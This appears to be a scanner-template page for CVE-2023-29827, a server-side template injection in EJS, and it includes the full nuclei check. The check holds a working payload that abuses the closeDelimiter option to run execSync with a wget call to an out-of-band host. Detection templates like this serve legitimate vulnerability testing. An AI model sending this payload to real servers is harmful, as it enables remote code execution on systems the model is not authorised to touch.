Embedded JavaScript(EJS) 3.1.6 - Template Injection

criticalseverity

9.8CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

Impact

High impact as it enables remote code execution.

Fix

Update EJS to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interacts…
Positive when: contains in interactsh_protocol "http" AND contains "You are viewing page number"

Run it with nuclei: nuclei -id CVE-2023-29827 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-29827

info:
  name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
  author: ritikchaddha
  severity: critical
  description: |
    ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
  impact: |
    High impact as it enables remote code execution.
  remediation: |
    Update EJS to the latest version to mitigate the vulnerability.
  reference:
    - https://github.com/mde/ejs/issues/720
    - https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29827
    cwe-id: CWE-74
    epss-score: 0.05552
    epss-percentile: 0.92911
    cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2023,ssti,rce,ejs,oast,node.js,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"

References

Use this check only on systems you are authorised to test. Where the data comes from